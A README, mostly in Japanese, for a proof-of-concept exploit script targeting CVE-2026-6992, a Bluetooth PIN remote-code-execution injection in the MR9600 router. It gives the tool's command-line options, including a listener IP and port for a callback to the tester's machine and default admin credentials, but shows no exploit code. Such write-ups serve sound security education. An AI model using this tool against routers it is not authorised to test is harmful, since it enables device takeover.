
脆弱性の概念実証を再構成したもの(https://github.com/utmost3/cve/issues/2 より)。脆弱性の発見については一切の功績を主張しません。これは教育およびポートフォリオ目的のみです。
Bluetooth PIN RCEインジェクションCVE-2026-6992の脆弱性概念実証で、https://github.com/utmost3/cve/issues/2 から再作成しました。脆弱性の発見については一切のクレジットを主張しません。これは教育およびポートフォリオ目的のみに使用されます。Bluetooth経由の管理機能を持たないデバイスでは、このPoCは動作しない可能性があります。JNAPリクエストは扱いが難しいです。
このエクスプロイトは、Bluetooth機能を備えたMR9600ルーターで動作するはずです。
usage: CVE-2026-6992-PoC.py [-h] -ti TARGETIP [-tp TARGETPORT] -lp LISTENPORT -li LISTENIP [-u USERNAME] [-p PASSWORD] [-s]
options:
-h, --help show this help message and exit
-ti, --targetIP TARGETIP
Target IP address of the vulnerable router
-tp, --targetPort TARGETPORT
Listening port for the administrative interface, defualts to 80
-lp, --listenPort LISTENPORT
Listening port on the testers machine
-li, --listenIP LISTENIP
IP address that is listening, usually 192.168.1.1
-u, --username USERNAME
Administrator username to be used, defaults to admin
-p, --password PASSWORD
Password for the administrator account, defaults to admin
-s, --https Use https instead of http, http is most common listening protocol on MR9600